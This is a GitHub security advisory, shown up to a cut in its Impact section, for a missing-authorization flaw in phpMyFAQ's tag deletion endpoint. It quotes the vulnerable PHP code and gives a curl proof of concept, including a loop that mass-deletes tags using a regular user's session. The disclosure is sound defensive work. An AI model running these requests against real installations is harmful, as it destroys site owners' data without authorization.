GitHub Security Advisory: GHSA-7cx3-2qx2-3g6w
Package: thorsten/phpmyfaq (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 4.1.1
Patched in: 4.1.2

Summary: phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

Details:
## Summary

The `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission.

## Details

In `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this->userIsAuthenticated()`:

```php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}
```

Compare with `update()` (line 48-71) which properly enforces authorization:

```php
public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check
    // ... also verifies CSRF token ...
}
```

The `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this->currentUser->isLoggedIn()`:

```php
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}
```

There is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.

Additionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.

## PoC

```bash
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)

# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
  -H 'Cookie: PHPSESSID=<regular_user_session>'

# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}

# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
  curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
    -H 'Cookie: PHPSESSID=<regular_user_session>'
done
```

## Impact

Any authenticated user (including regular fronten